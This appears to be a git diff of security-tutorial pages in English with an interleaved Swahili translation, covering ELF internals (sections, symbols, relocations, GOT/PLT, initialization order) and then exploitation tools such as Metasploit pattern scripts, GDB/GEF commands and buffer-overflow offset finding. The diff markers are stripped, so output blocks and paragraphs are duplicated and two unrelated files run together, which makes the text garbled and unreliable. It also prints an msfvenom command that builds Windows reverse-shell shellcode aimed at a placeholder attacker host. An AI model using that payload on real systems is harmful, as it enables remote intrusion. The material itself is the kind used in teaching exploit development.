## Section Headers
Section headers gives a more detailed view of the ELF binary
## Vichwa vya Sehemu
Vichwa vya sehemu vinatoa mtazamo wa kina zaidi wa binary ya ELF.
```
objdump lnstat -h
@ -95,159 +92,153 @@ lnstat: file format elf64-littleaarch64
Sections:
Idx Name Size VMA LMA File off Algn
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
0 .interp 0000001b 0000000000000238 0000000000000238 00000238 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .note.gnu.build-id 00000024 0000000000000254 0000000000000254 00000254 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .note.ABI-tag 00000020 0000000000000278 0000000000000278 00000278 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .note.package 0000009c 0000000000000298 0000000000000298 00000298 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.hash 0000001c 0000000000000338 0000000000000338 00000338 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .dynsym 00000498 0000000000000358 0000000000000358 00000358 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .dynstr 000001fe 00000000000007f0 00000000000007f0 000007f0 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .gnu.version 00000062 00000000000009ee 00000000000009ee 000009ee 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
8 .gnu.version_r 00000050 0000000000000a50 0000000000000a50 00000a50 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
9 .rela.dyn 00000228 0000000000000aa0 0000000000000aa0 00000aa0 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
10 .rela.plt 000003c0 0000000000000cc8 0000000000000cc8 00000cc8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
11 .init 00000018 0000000000001088 0000000000001088 00001088 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
12 .plt 000002a0 00000000000010a0 00000000000010a0 000010a0 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
13 .text 00001c34 0000000000001340 0000000000001340 00001340 2**6
CONTENTS, ALLOC, LOAD, READONLY, CODE
14 .fini 00000014 0000000000002f74 0000000000002f74 00002f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
15 .rodata 00000686 0000000000002f88 0000000000002f88 00002f88 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
16 .eh_frame_hdr 000001b4 0000000000003610 0000000000003610 00003610 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
17 .eh_frame 000007b4 00000000000037c8 00000000000037c8 000037c8 2**3
CONTENTS, ALLOC, LOAD, READONLY, DATA
18 .init_array 00000008 000000000001fc48 000000000001fc48 0000fc48 2**3
CONTENTS, ALLOC, LOAD, DATA
19 .fini_array 00000008 000000000001fc50 000000000001fc50 0000fc50 2**3
CONTENTS, ALLOC, LOAD, DATA
20 .dynamic 00000200 000000000001fc58 000000000001fc58 0000fc58 2**3
CONTENTS, ALLOC, LOAD, DATA
21 .got 000001a8 000000000001fe58 000000000001fe58 0000fe58 2**3
CONTENTS, ALLOC, LOAD, DATA
22 .data 00000170 0000000000020000 0000000000020000 00010000 2**3
CONTENTS, ALLOC, LOAD, DATA
23 .bss 00000c68 0000000000020170 0000000000020170 00010170 2**3
ALLOC
24 .gnu_debugaltlink 00000049 0000000000000000 0000000000000000 00010170 2**0
CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
Inayoonyesha pia mahali, ofseti, ruhusa lakini pia **aina ya data** ambayo sehemu hiyo ina.
It also indicates the location, offset, permissions but also the **type of data** it section has.
### Sehemu za Meta
### Meta Sections
- **String table**: Inayo kila nyuzi inayohitajika na faili la ELF (lakini si zile zinazotumiwa na programu). Kwa mfano, ina majina ya sehemu kama `.text` au `.data`. Na ikiwa `.text` iko kwenye ofseti 45 katika jedwali la nyuzi itatumia nambari **45** katika uwanja wa **jina**.
- Ili kupata mahali ambapo jedwali la nyuzi liko, ELF ina kiashiria kwa jedwali la nyuzi.
- **Symbol table**: Inayo taarifa kuhusu alama kama jina (ofseti katika jedwali la nyuzi), anwani, ukubwa na metadata zaidi kuhusu alama hiyo.
- **String table**: It contains all the strings needed by the ELF file (but not the ones actually used by the program). For example it contains sections names like `.text` or `.data`. And if `.text` is at offset 45 in the strings table it will use the number **45** in the **name** field.
- In order to find where the string table is, the ELF contains a pointer to the string table.
- **Symbol table**: It contains info about the symbols like the name (offset in the strings table), address, size and more metadata about the symbol.
### Sehemu Kuu
### Main Sections
- **`.text`**: Maagizo ya programu ya kukimbia.
- **`.data`**: Vigezo vya kimataifa vyenye thamani iliyofafanuliwa katika programu.
- **`.bss`**: Vigezo vya kimataifa vilivyotelekezwa (au kuanzishwa kuwa sifuri). Vigezo hapa vinakaguliwa kiotomatiki kuwa sifuri hivyo kuzuia sifuri zisizohitajika kuongezwa kwenye binary.
- **`.rodata`**: Vigezo vya kimataifa visivyobadilika (sehemu ya kusoma tu).
- **`.tdata`** na **`.tbss`**: Kama .data na .bss wakati vigezo vya ndani ya thread vinapotumika (`__thread_local` katika C++ au `__thread` katika C).
- **`.dynamic`**: Angalia hapa chini.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Alama
Alama ni mahali lenye jina katika programu ambalo linaweza kuwa kazi, kitu cha data cha kimataifa, vigezo vya ndani ya thread...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Kila kipengele cha alama kina:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **Jina**
- **Sifa za uhusiano** (dhaifu, za ndani au za kimataifa): Alama ya ndani inaweza kufikiwa tu na programu yenyewe wakati alama za kimataifa zinashirikiwa nje ya programu. Kitu dhaifu ni mfano wa kazi ambayo inaweza kubadilishwa na nyingine tofauti.
- **Aina**: NOTYPE (aina haijabainishwa), OBJECT (kibadilisha data cha kimataifa), FUNC (kazi), SECTION (sehemu), FILE (faili ya msimbo wa chanzo kwa ajili ya wadhibiti), TLS (kibadilisha cha ndani cha nyuzi), GNU_IFUNC (kazi isiyo ya moja kwa moja kwa ajili ya uhamasishaji)
- **Sehemu** index ambapo iko
- **Thamani** (anwani katika kumbukumbu)
- **Ukubwa**
## Sehemu ya Kihisia
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Direktori ya NEEDED inaonyesha kwamba programu **inahitaji kupakia maktaba iliyoelezwa** ili kuendelea. Direktori ya NEEDED inakamilika mara tu **maktaba inayo shared inakuwa na kazi kamili na tayari** kwa matumizi.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Mabadiliko
Mchambuzi pia lazima ahamasishe utegemezi baada ya kuyapakia. Mabadiliko haya yanaonyeshwa katika jedwali la mabadiliko katika muundo wa REL au RELA na idadi ya mabadiliko inatolewa katika sehemu za dynamic RELSZ au RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Static Relocations
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Ikiwa **programu imepakuliwa mahali tofauti** na anwani inayopendelea (kawaida 0x400000) kwa sababu anwani hiyo tayari inatumika au kwa sababu ya **ASLR** au sababu nyingine yoyote, uhamasishaji wa statiki **unarekebisha viashiria** ambavyo vilikuwa na thamani zikitarajia binary kupakuliwa katika anwani inayopendelea.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
Kwa mfano, sehemu yoyote ya aina `R_AARCH64_RELATIV` inapaswa kuwa na anwani iliyorekebishwa kwenye bias ya uhamasishaji pamoja na thamani ya kuongeza.
### Dynamic Relocations and GOT
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
Uhamasishaji unaweza pia kurejelea alama ya nje (kama kazi kutoka kwa utegemezi). Kama kazi malloc kutoka libC. Kisha, mpakuwaji anapopakua libC katika anwani akichunguza mahali ambapo kazi ya malloc imepakuliwa, itaandika anwani hii katika jedwali la GOT (Global Offset Table) (linaloonyeshwa katika jedwali la uhamasishaji) ambapo anwani ya malloc inapaswa kufafanuliwa.
### Procedure Linkage Table
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
Sehemu ya PLT inaruhusu kufanya uhusiano wa uvivu, ambayo inamaanisha kwamba ufumbuzi wa mahali pa kazi utafanywa wakati wa kwanza inapoombwa.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
Hivyo wakati programu inaita malloc, kwa kweli inaita mahali husika pa `malloc` katika PLT (`malloc@plt`). Wakati wa kwanza inapoitwa inatatua anwani ya `malloc` na kuihifadhi ili wakati wa pili `malloc` inapoitwa, anwani hiyo inatumika badala ya msimbo wa PLT.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
Baada ya programu kupakuliwa ni wakati wa kuendesha. Hata hivyo, msimbo wa kwanza unaotekelezwa **sio kila wakati kazi ya `main`**. Hii ni kwa sababu kwa mfano katika C++ ikiwa **kigezo cha kimataifa ni kitu cha darasa**, kitu hiki lazima kiwe **kimeanzishwa** **kabla** ya main kuendesha, kama katika:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Kumbuka kwamba hizi variables za kimataifa ziko katika `.data` au `.bss` lakini katika orodha `__CTOR_LIST__` na `__DTOR_LIST__` vitu vya kuanzisha na kuharibu vinahifadhiwa ili kufuatilia.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
Kutoka kwa msimbo wa C inawezekana kupata matokeo sawa kwa kutumia nyongeza za GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Kwa mtazamo wa mkusanyiko, ili kutekeleza vitendo hivi kabla na baada ya kazi ya `main` kutekelezwa, inawezekana kuunda kazi ya `init` na kazi ya `fini` ambazo zitarejelewa katika sehemu ya dynamic kama **`INIT`** na **`FIN`**. na zimewekwa katika sehemu za `init` na `fini` za ELF.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
Chaguo lingine, kama ilivyotajwa, ni kurejelea orodha **`__CTOR_LIST__`** na **`__DTOR_LIST__`** katika **`INIT_ARRAY`** na **`FINI_ARRAY`** katika sehemu ya dynamic na urefu wa hizi unatajwa na **`INIT_ARRAYSZ`** na **`FINI_ARRAYSZ`**. Kila kipengee ni kiashiria cha kazi ambacho kitaitwa bila hoja.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
Zaidi ya hayo, inawezekana pia kuwa na **`PREINIT_ARRAY`** yenye **viashiria** ambavyo vitatekelezwa **kabla** ya viashiria vya **`INIT_ARRAY`**.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Agizo la Uanzishaji
### Initialization Order
1. Programu inawekwa kwenye kumbukumbu, mabadiliko ya kimataifa ya static yanaanzishwa katika **`.data`** na yasiyoanzishwa yanawekwa sifuri katika **`.bss`**.
2. **Mahitaji yote** ya programu au maktaba yanaanzishwa na **kuunganishwa kwa dynamic** kunatekelezwa.
3. Kazi za **`PREINIT_ARRAY`** zinafanywa.
4. Kazi za **`INIT_ARRAY`** zinafanywa.
5. Ikiwa kuna kipengee cha **`INIT`** kinaitwa.
6. Ikiwa ni maktaba, dlopen inamalizika hapa, ikiwa ni programu, ni wakati wa kuita **nukta halisi ya kuingia** (kazi ya `main`).
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Hifadhi ya Mitaa ya Thread (TLS)
## Thread-Local Storage (TLS)
Zimefafanuliwa kwa kutumia neno muhimu **`__thread_local`** katika C++ au nyongeza ya GNU **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
Kila thread itahifadhi eneo la kipekee kwa ajili ya variable hii hivyo ni thread pekee inayoweza kufikia variable yake.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Wakati hii inatumika sehemu **`.tdata`** na **`.tbss`** zinatumika katika ELF. Ambazo ni kama `.data` (iliyowekwa) na `.bss` (siyo iliyowekwa) lakini kwa TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Kila variable itakuwa na kipengee katika kichwa cha TLS kinachoelezea ukubwa na ofset ya TLS, ambayo ni ofset itakayotumiwa katika eneo la data la ndani la thread.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE` ni alama inayotumika kurejelea anwani ya msingi ya hifadhi ya ndani ya thread na inaelekeza kwenye eneo katika kumbukumbu ambalo lina data zote za ndani za thread za moduli.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# Exploiting Tools
# Zana za Kutumia
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Sakinisha
```bash
apt-get install gdb
```
### Parameters
### Vigezo
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### Maagizo
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
Unaweza kutumia [**hii fork ya GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) ambayo ina maelekezo ya kuvutia zaidi.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB same addresses
#### GDB anwani sawa
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Wakati wa kujaribu, GDB itakuwa na **anwani kidogo tofauti na zile zinazotumiwa na binary wakati inatekelezwa.** Unaweza kufanya GDB iwe na anwani sawa kwa kufanya:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _Weka njia kamili ya binary_
- Fanya unyakuzi wa binary ukitumia njia hiyo hiyo kamili
- `PWD` na `OLDPWD` lazima ziwe sawa wakati wa kutumia GDB na wakati wa kufanya unyakuzi wa binary
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Backtrace ili kupata kazi zilizoitwa
Wakati una **binary iliyounganishwa kwa statically** kazi zote zitakuwa za binary (na si za maktaba za nje). Katika kesi hii itakuwa vigumu **kutambua mtiririko ambao binary inafuata kwa mfano kuomba pembejeo ya mtumiaji.**\
Unaweza kwa urahisi kutambua mtiririko huu kwa **kukimbia** binary na **gdb** hadi ulipoombwa kwa pembejeo. Kisha, simamisha kwa **CTRL+C** na tumia amri ya **`bt`** (**backtrace**) kuona kazi zilizoitwa:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (katika IDA unapaswa kujaza njia kamili ya executable katika mashine ya Linux na katika mashine ya Windows)
## Ghidra
### Find stack offset
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra** ni muhimu sana kupata **offset** kwa **buffer overflow kutokana na taarifa kuhusu nafasi ya mabadiliko ya ndani.**\
